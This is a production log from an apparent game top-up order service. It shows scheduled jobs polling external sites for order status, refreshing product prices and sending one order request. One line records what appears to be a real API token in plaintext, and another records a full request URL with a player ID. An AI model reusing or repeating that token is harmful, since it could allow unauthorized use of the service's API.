[2026-03-24 08:48:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 08:48:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 08:48:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"processed":1,"errors":0} 
[2026-03-24 08:48:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"processed":1,"errors":0} 
[2026-03-24 08:48:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462} 
[2026-03-24 08:48:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 34  
[2026-03-24 08:50:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04"} 
[2026-03-24 08:50:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","total_operations":1,"sites_count":1} 
[2026-03-24 08:50:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:50:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:50:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:50:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:50:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:50:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VnaB86l1JQJ1plrEoFHG1Yx2dm8NKMHR","execution_time":"2026-03-24 08:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 08:50:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 08:50:06] production.INFO: async() رجع: true  
[2026-03-24 08:50:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:50:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:50:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:51:06] production.INFO: Constructing job for order: 178532  
[2026-03-24 08:51:07] production.INFO: Handling job for order: 178532  
[2026-03-24 08:51:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 08:51:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 08:51:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/568/params?qty=6900&uuid=9aef7b5c-4584-475a-9436-d63a9ddf3728&Player_ID=31851465  
[2026-03-24 08:51:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/568/params?qty=6900&uuid=9aef7b5c-4584-475a-9436-d63a9ddf3728&Player_ID=31851465","has_body":false} 
[2026-03-24 08:51:08] production.INFO: Operation sent successfully {"operation_id":163463,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wU3OF-1774331468","amount":7.303111799999999931287675281055271625518798828125,"status":"processing","product":"Higo Amount","game":"HigoChat","notes":[],"created_at":"2026-03-24 08:51:08"}},"processed_data":{"order_number":"ORD-wU3OF-1774331468","amount":7.303111799999999931287675281055271625518798828125,"status":"processing","product":"Higo Amount","game":"HigoChat"}} 
[2026-03-24 08:52:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02"} 
[2026-03-24 08:52:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","total_operations":2,"sites_count":1} 
[2026-03-24 08:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-wU3OF-1774331468"]} 
[2026-03-24 08:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 08:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463} 
[2026-03-24 08:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 08:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"processed":0,"errors":0} 
[2026-03-24 08:52:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"IuGJzMDM7McSsgyKTCzuyQ8j4TJPj98Q","execution_time":"2026-03-24 08:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463} 
[2026-03-24 08:54:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02"} 
[2026-03-24 08:54:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","total_operations":2,"sites_count":1} 
[2026-03-24 08:54:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-wU3OF-1774331468"]} 
[2026-03-24 08:54:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 08:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 08:54:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 08:54:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"count":1} 
[2026-03-24 08:54:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"count":1} 
[2026-03-24 08:54:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"user_id":1700,"notification_type":"order_approved","reference_id":178532} 
[2026-03-24 08:54:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 08:54:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 08:54:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"processed":1,"errors":0} 
[2026-03-24 08:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463,"processed":1,"errors":0} 
[2026-03-24 08:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"xKeczJgZMKEMm5Jt05SsJxZufJJOtwFW","execution_time":"2026-03-24 08:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wU3OF-1774331468","operation_id":163463} 
[2026-03-24 08:54:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1700  
[2026-03-24 08:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:55:05] production.INFO: async() رجع: true  
[2026-03-24 08:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:55:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:56:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03"} 
[2026-03-24 08:56:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:56:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:56:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:56:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:56:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:56:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:56:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CmRx8mxQtuNScHOX5WnWDlJJsouBVFDW","execution_time":"2026-03-24 08:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:58:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03"} 
[2026-03-24 08:58:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JsCyLomDAPSyaOwx9L8TPudB8W8uI3PB","execution_time":"2026-03-24 08:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:00:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04"} 
[2026-03-24 09:00:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","total_operations":1,"sites_count":1} 
[2026-03-24 09:00:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:00:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:00:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:00:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:00:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:00:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"T9F1pHC2CedMljTtMkLM44kdAVw6v3Vo","execution_time":"2026-03-24 09:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 09:00:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 09:00:06] production.INFO: async() رجع: true  
[2026-03-24 09:00:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:00:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:00:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:00:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02"} 
[2026-03-24 09:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:02:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6lZLDgayuwH9HsvtSuS0cW34VGnQKhe1","execution_time":"2026-03-24 09:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:04:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02"} 
[2026-03-24 09:04:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:04:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:04:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:04:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ADpMJa4LXw9tlqfMHO2Oq0nIpsiJxbwp","execution_time":"2026-03-24 09:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
